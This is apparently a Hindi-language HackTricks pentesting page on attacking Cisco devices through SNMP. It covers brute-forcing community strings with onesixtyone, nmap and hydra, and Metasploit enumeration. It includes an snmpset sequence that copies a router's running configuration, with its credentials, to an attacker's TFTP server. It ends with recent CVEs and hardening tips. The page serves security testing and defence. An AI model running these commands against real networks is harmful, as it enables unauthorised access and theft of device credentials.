96 lines
8.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Cisco SNMP
{{#include ../../banners/hacktricks-training.md}}
## Pentesting Cisco Networks
**SNMP** UDP पर कार्य करता है, सामान्य संदेशों के लिए **161/UDP** और ट्रैप संदेशों के लिए **162/UDP** पोर्ट का उपयोग करता है। यह प्रोटोकॉल *कम्युनिटी स्ट्रिंग्स* पर निर्भर करता है, जो SNMP एजेंटों और प्रबंधकों के बीच संचार को सक्षम करने वाले प्लेनटेक्स्ट "पासवर्ड" के रूप में कार्य करते हैं। ये स्ट्रिंग्स एक्सेस स्तर निर्धारित करती हैं, विशेष रूप से **रीड-ओनली (RO) या रीड-राइट (RW) अनुमतियाँ**
एक क्लासिक—फिर भी अत्यंत प्रभावी—हमला वेक्टर है **कम्युनिटी स्ट्रिंग्स का ब्रूट-फोर्स करना** ताकि अनधिकृत उपयोगकर्ता से डिवाइस प्रशासक (RW कम्युनिटी) में उन्नयन किया जा सके। इस कार्य के लिए एक व्यावहारिक उपकरण है [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
```bash
onesixtyone -c community_strings.txt -i targets.txt
```
अन्य तेज़ विकल्प Nmap NSE स्क्रिप्ट `snmp-brute` या Hydra के SNMP मॉड्यूल हैं:
```bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
```
---
### SNMP के माध्यम से कॉन्फ़िगरेशन डंप करना (CISCO-CONFIG-COPY-MIB)
यदि आप एक **RW समुदाय** प्राप्त करते हैं, तो आप चल रही कॉन्फ़िगरेशन/स्टार्टअप कॉन्फ़िगरेशन को TFTP/FTP सर्वर पर *CLI एक्सेस के बिना* CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`) का दुरुपयोग करके कॉपी कर सकते हैं। दो सामान्य दृष्टिकोण हैं:
1. **Nmap NSE `snmp-ios-config`**
```bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
```
स्क्रिप्ट स्वचालित रूप से कॉपी ऑपरेशन का आयोजन करती है और कॉन्फ़िगरेशन को stdout पर प्रिंट करती है।
2. **मैनुअल `snmpset` अनुक्रम**
```bash
# Copy running-config (4) to a TFTP server (1) random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
```
पंक्ति पहचानकर्ता *एक-बार* होते हैं; पांच मिनट के भीतर पुन: उपयोग करने से `inconsistentValue` त्रुटियाँ उत्पन्न होती हैं।
एक बार जब फ़ाइल आपके TFTP सर्वर पर होती है, तो आप क्रेडेंशियल्स (`enable secret`, `username <user> secret`, आदि) की जांच कर सकते हैं या यहां तक कि डिवाइस पर एक संशोधित कॉन्फ़िगरेशन वापस भेज सकते हैं।
---
### Metasploit goodies
* **`cisco_config_tftp`** TFTP के माध्यम से चल रही कॉन्फ़िगरेशन/स्टार्टअप कॉन्फ़िगरेशन डाउनलोड करता है, उसी MIB का दुरुपयोग करने के बाद।
* **`snmp_enum`** डिवाइस इन्वेंटरी जानकारी, VLANs, इंटरफ़ेस विवरण, ARP तालिकाएँ, आदि एकत्र करता है।
```bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run
```
---
## हाल की Cisco SNMP कमजोरियाँ (2023 2025)
विक्रेता सलाहों पर नज़र रखना *zero-day-to-n-day* अवसरों को स्कोप करने के लिए उपयोगी है:
| वर्ष | CVE | प्रभावित विशेषता | प्रभाव |
|------|-----|-----------------|--------|
| 2025 | CVE-2025-20174 | SNMP उपप्रणाली | तैयार पैकेट IOS/IOS-XE (v1/v2c/v3) पर प्रमाणित *DoS* (रीलोड) का कारण बनता है। |
| 2024 | CVE-2024-20373 | IPv4 ACL प्रबंधन | गलत कॉन्फ़िगर की गई **विस्तारित** ACLs चुपचाप *फेल* होती हैं, जब एक मान्य समुदाय/उपयोगकर्ता ज्ञात होता है तो प्रमाणित SNMP पोलिंग की अनुमति देती हैं। |
| 2025 | (कोई CVE नहीं) | SNMPv3 कॉन्फ़िगरेशन प्रतिबंध बायपास | मान्य v3 उपयोगकर्ता उन पते से पोल कर सकता है जिन्हें अस्वीकृत किया जाना चाहिए। |
शोषणशीलता अक्सर समुदाय स्ट्रिंग या v3 क्रेडेंशियल्स के स्वामित्व पर निर्भर करती है—यह एक और कारण है कि उन्हें ब्रूट-फोर्स करना प्रासंगिक बना रहता है।
---
## हार्डनिंग और पहचान टिप्स
* एक निश्चित IOS/IOS-XE संस्करण में अपग्रेड करें (ऊपर दिए गए CVE के लिए Cisco सलाह देखें)।
* v1/v2c के मुकाबले **SNMPv3** को `authPriv` (SHA-256/AES-256) के साथ प्राथमिकता दें।
```
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
```
* SNMP को एक प्रबंधन VRF से बाइंड करें और **मानक** संख्या वाले IPv4 ACLs के साथ **सीमित करें** (विस्तारित नामित ACLs जोखिम भरी हैं CVE-2024-20373)।
* **RW समुदायों** को निष्क्रिय करें; यदि संचालन के लिए आवश्यक हो, तो उन्हें ACL और व्यूज़ के साथ सीमित करें:
`snmp-server community <string> RW 99 view SysView`
* के लिए निगरानी करें:
- UDP/161 स्पाइक्स या अप्रत्याशित स्रोत (SIEM नियम)।
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` घटनाएँ जो आउट-ऑफ-बैंड कॉन्फ़िग परिवर्तन को इंगित करती हैं।
* कुछ DoS वेक्टर को कम करने के लिए **SNMPv3 लॉगिंग** और `snmp-server packetsize 1500` सक्षम करें।
---
## संदर्भ
- Cisco: *Cisco उपकरणों से और Cisco उपकरणों पर कॉन्फ़िगरेशन कॉपी करने के लिए कैसे*
- Cisco सुरक्षा सलाह *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
{{#include ../../banners/hacktricks-training.md}}